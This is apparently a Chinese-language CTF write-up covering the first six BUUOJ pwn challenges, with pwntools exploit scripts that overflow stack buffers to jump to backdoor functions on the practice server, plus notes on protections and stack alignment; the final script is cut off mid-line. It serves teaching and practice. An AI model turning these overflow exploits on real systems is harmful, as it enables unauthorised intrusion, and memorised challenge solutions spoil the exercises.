buuoj Pwn wp 1-10

本文围绕多个PWN题展开,涉及test_your_nc、rip等题目。介绍了ret2text、ROP、ret2libc、格式化字符串漏洞、整数溢出等解题方法,还提及栈溢出、函数加密绕过、栈对齐等要点,同时给出各题的exp及遇到的问题和解决思路。

01 test_your_nc

在这里插入图片描述
直接连上就好了。

在这里插入图片描述
然后 cat flag 。

02 rip

ret2text.

在这里插入图片描述这题多多少少有点问题。
IDA里面是这样的,但是exp一直有问题,然后试着连上直接跑,是这样的。

在这里插入图片描述
栈溢出到返回地址就行。

from pwn import*

r = remote("node3.buuoj.cn",26737)
context.log_level = "debug"

system_addr = 0x401187

payload = 'a' * 23 + p64(system_addr)
r.sendline(payload)

r.interactive()

libc2.27以后 或者ubuntu18以后,system要求栈对齐。

参考链接1

参考链接2

03 warmup_csaw_2016

ret2text.

先查一下保护
在这里插入图片描述
确实是新手题,保护一点没有。
拖IDA

在这里插入图片描述后门函数在这里

在这里插入图片描述这里是漏洞点,就是gets函数导致一个栈溢出,所以直接ret2text。

exp

from pwn import*

r = remote("node3.buuoj.cn",26473)

payload = 'a' * 0x48  + p64(0x40060d)
r.sendlineafter(">",payload)

r.interactive()

04 pwn1_sctf_2016

ret2text.

在这里插入图片描述
查查保护,就开了个NX。

在这里插入图片描述

看这烦人的C++反编译

打远程的时候发现第一句话之前有个输入,但是上图中看不出来,于是看它的反汇编。

在这里插入图片描述
问题就处在上面这里,它是并列的……
就是c++里面那些特有的函数有点长

补充个函数。
C 库函数 char *fgets(char *str, int n, FILE *stream) 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。

这个程序翻译过来就是,它会把你的输入里面的所有I替换成you,所以你看到其实你想栈溢出是不能的,因为可输入的长度不够,需要60的长度,所以你只需要输20个I,然后就能接溢出了。

这个题它的重点是C++的反汇编,里面多数是实现对string类的操作,比如重载+,=等等,分析的时候要有耐心慢慢来。

溢出的话还找到它的后门函数,就OK了。
在这里插入图片描述exp

from pwn import*

r = remote("node3.buuoj.cn",26776)
context.log_level = "debug"

payload = 'I' * 20  + 'aaaa'+ p32(0x8048F0D)
r.sendline(payload)


r.interactive()

05 ciscn_2019_n_1

ret2text.

在这里插入图片描述
查一波保护,有个堆栈不可执行,但是没关系,他有后门函数。

在这里插入图片描述
其实我首先想的是我能不能通过gets把v2覆盖成11.28125,我好好研究了一下python的float。

python的float与c的float完全不同,因此对python而言并不存在于一个float是四个字节的说法。
所以用python写脚本的话就直接写字节码进去算了。
在这里就不写了。

正常的话就是直接把返回地址改一下就好了。
exp

from pwn import*

context.log_level = "debug"
r = remote("node3.buuoj.cn",26325)

payload = 'a' * 0x38 + p64(0x4006be)  
r.sendlineafter("Let's guess the number.",payload)

r.interactive()

06 jarvisoj_level0

ret2text

在这里插入图片描述
在这里插入图片描述这没啥说的,里面有后门函数,直接栈溢出就好了。

exp

from pwn import*

r = remote('node3.buuoj.cn',25064)

payload = 'a' * 0x88 + p64(0x400596)
r.sendlineafter
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值